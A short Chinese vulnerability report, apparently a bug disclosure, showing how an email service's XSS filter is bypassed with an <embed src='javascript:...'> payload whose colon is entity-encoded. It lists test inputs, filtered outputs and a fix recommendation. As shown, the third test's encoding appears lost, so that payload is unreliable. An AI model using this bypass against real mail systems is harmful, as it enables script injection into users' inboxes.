邮件正文的跨站脚本过滤规则不完善导致被绕过。
测试1:
<embed src="javascript:alert(3)">
结果1：
<embed invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash">
尽量将测试内容最小化，找出问题根源。测试2：
<embed src="javascript">
结果2:
<embed src="javascript" invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash"></div>
确定伪协议后面的":"触发了过滤规则。实体编码之。测试3:
<embed src="javascript:alert(2)">
结果3:
<embed src="javascript:alert(2)" invokeurls="false" allownetworking="none" allowscriptaccess="never" type="application/x-shockwave-flash">
PS：该XSS Vector仅在Firefox下有效 测试与FF29.0.1
修复方案：
完善过滤规则